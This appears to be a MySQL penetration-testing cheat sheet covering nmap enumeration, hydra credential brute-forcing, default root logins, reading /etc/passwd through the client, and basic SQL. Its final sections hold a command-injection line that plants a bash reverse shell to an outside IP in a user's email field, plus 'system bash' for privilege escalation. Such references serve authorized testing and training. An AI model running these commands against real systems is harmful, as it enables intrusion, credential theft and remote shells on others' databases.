MySQL Pentesting
Last modified: 2023-11-21
It is a relational database management system. A default port is 3306.
Enumeration
nmap --script mysql-info -p 3306 <target-ip>
nmap --script mysql-enum -p 3306 <target-ip>
nmap --script mysql-brute -p 3306 <target-ip>
nmap --script mysql-databases -p 3306 <target-ip>
nmap --script mysql-users -p 3306 <target-ip>
nmap --script mysql-* -p 3306 <target-ip>
Brute Force Credentials
hydra -l username -P passwords.txt <target-ip> mysql
hydra -L usernames.txt -p password <target-ip> mysql
Configuration Files
cat /etc/mysql/my.cnf
cat /etc/mysql/mysql.conf.d/mysqld.cnf
Connect
mysql
command can be replaced with mariadb
.
Local
# No password
mysql -u username
# With Password
mysql -u username -p
# Specity database name
mysql -u username -p database_name
# Execute commands
mysql -u username -p database_name -e "show databases;"
echo '<password>' | mysql -u username -p database_name -e "show databases;"
# Execute commands via a file
echo 'show tables;' > example.sql
mysql -u username --password='password' database_name -v < example.sql
# Read arbitrary files
mysql -u username --password='password' database_name -v < /etc/passwd
Remote
mysql -u username -p -h <target-ip> -P 3306
# Without password (remove -p)
mysql -u username -h <target-ip> -P 3306
# Specify database (-D)
mysql -u username -p -h <target-ip> -D database_name
# Default credential (username: root, no password)
mysql -u root -h <target-ip> -P 3306
Commands
Execute from File
After connecting MySQL, you can execute SQL commands from a .sql
file.
Note that we need to change the current directory to the directory in which the .sql
file is located.
mysql> source example.sql
Basic Commands
Belows are basic commands.
# List mysql users
mysql> select user from mysql.user;
# List privileges of each user
mysql> select user,select_priv,insert_priv,update_priv,delete_priv,create_priv from mysql.user;
# Display databases
mysql> show databases;
# Switch to the database
mysql> use db_name;
# Display tables in the current database
mysql> show tables;
# Display tables and table type
mysql> show full tables;
# Display tables in the database
mysql> show tables from <database>;
# Display tables which names start with 'user'
mysql> show tables like 'user%';
# Display tables which names start with 'user' in the database
mysql> show tables from <database> like 'user%';
# Display columns in a given table
mysql> show columns from <table>;
# Display everything in the table
mysql> select * from <table>;
# Create new table
mysql> create table table_name(column_name column_type);
mysql> create table table_name(user_id int, user_name varchar(40));
# Create an user-defined function
mysql> create function func_name(param1, param2) returns datatype;
mysql> create function new_fund(age integer) returns integer;
# Use a function
mysql> select func_name(param1, param2);
# Insert new record to a given table
mysql> insert into <table> values(value1, value2);
# Update data in a given table
mysql> update <table> set <column>='<value>';
mysql> update <table> set <column1>='<value1>',<column2>='<value2>';
# e.g.
mysql> update users set role='admin' where username='john';
# Delete a record
mysql> delete from <table> where <column> = <value>;
# e.g.
mysql> delete from users where id = 2;
Command Injection
We can inject the OS command to column values e.g. email address.
Depending on the situation, we may be able to execute arbitrary command.
# Update existing user email to execute reverse shell
mysql> update exampledb.users SET email='admin@shell|| bash -c "bash -i >& /dev/tcp/10.0.0.1/1234 0>&1" &' where name like 'admin%';
System Commands
We can run the system command in MySQL shell as below. Depending on the situation, we may be able to escalate privileges.
mysql> system whoami
mysql> system bash